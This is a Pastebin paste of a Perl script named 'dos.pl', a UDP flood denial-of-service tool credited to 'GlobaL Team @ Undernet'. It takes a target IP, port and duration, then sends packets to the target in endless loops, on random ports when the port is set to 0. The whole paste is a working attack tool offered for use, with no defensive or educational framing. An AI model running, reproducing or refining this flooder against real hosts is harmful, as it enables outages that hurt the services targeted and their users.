Advertisement
Guest User

dos.pl

a guest
Mar 29th, 2015
298
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.96 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use Socket;
  4.  
  5. $ARGC=@ARGV;
  6.  
  7. if ($ARGC !=3) {
  8. printf "$0 <ip> <port> <time>\n";
  9. printf "GlobaL Team @ Undernet \n";
  10. exit(1);
  11. }
  12.  
  13. my ($ip,$port,$size,$time);
  14. $ip=$ARGV[0];
  15. $port=$ARGV[1];
  16. $time=$ARGV[2];
  17.  
  18. socket(crazy, PF_INET, SOCK_DGRAM, 17);
  19. $iaddr = inet_aton("$ip");
  20.  
  21. printf "UDP Flood $ip pe portu $port \n";
  22. printf "GlobaL Team we are watching you \n";
  23.  
  24. if ($ARGV[1] ==0 && $ARGV[2] ==0) {
  25. goto randpackets;
  26. }
  27. if ($ARGV[1] !=0 && $ARGV[2] !=0) {
  28. system("(sleep $time;killall -9 udp) &");
  29. goto packets;
  30. }
  31. if ($ARGV[1] !=0 && $ARGV[2] ==0) {
  32. goto packets;
  33. }
  34. if ($ARGV[1] ==0 && $ARGV[2] !=0) {
  35. system("(sleep $time;killall -9 udp) &");
  36. goto randpackets;
  37. }
  38.  
  39. packets:
  40. for (;;) {
  41. $size=$rand x $rand x $rand;
  42. send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  43. }
  44.  
  45. randpackets:
  46. for (;;) {
  47. $size=$rand x $rand x $rand;
  48. $port=int(rand 65000) +1;
  49. send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  50. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement